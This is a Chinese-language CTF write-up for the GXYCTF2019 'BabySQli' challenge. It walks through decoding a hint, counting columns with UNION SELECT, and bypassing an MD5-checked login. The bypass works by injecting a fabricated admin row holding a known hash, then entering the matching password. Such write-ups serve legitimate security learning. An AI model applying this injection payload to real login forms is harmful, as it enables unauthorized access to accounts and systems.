[GXYCTF2019]BabySQli WP

0x00 BabySQli

原題目描述:剛學完sqli,我才知道萬能口令這么危險,還好我進行了防護,還用md5哈希了密碼!

登陸頁面,查看源碼后點進search.php看到一段可疑的句子MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5,嘗試base32+base64解密后得到select * from user where username = '$name'

嘗試user=admin&pass=123 提示為wrong pass,再嘗試user=aa提示wrong user,說明有admin這個user的。
嘗試union聯(lián)合注入,user=' union select 1,2,3 #不報錯,user=' union select 1,2,3,4 #報錯了

發(fā)現(xiàn)應(yīng)該是有三個字段的。猜測這三個字段可能是編號或ip之類的,然后user和password。user框輸入' union select 1,'admin',3#不報錯,證明第二個字段確實是user,那么猜測第三個字段是password,看來還是用md5加密過的。

0x02 一個知識點

當查詢的數(shù)據(jù)不存在的時候,聯(lián)合查詢就會構(gòu)造一個虛擬的數(shù)據(jù)。
比如:(自己沒這個環(huán)境也沒搭建,借其他博客的圖片舉個例子,大佬莫怪)
原先的表有這三個字段,有這樣的數(shù)據(jù)內(nèi)容

原先的表

我們?nèi)绻诓樵兊臅r候輸入這樣的查詢語句:
查詢語句

發(fā)現(xiàn)我們在聯(lián)合查詢并不存在的數(shù)據(jù)時,聯(lián)合查詢就會構(gòu)造一個虛擬的數(shù)據(jù)。這時候直接在pass框里面輸入e10adc3949ba59abbe56e057f20f883e的md5解密結(jié)果就可以了。

0x03 payload+總結(jié)

payload:

username欄:'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
password欄:123456

總結(jié):這個題考察的就是簡單的手工注入+聯(lián)合查詢查詢不存在數(shù)據(jù)會構(gòu)造虛擬的數(shù)據(jù)。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容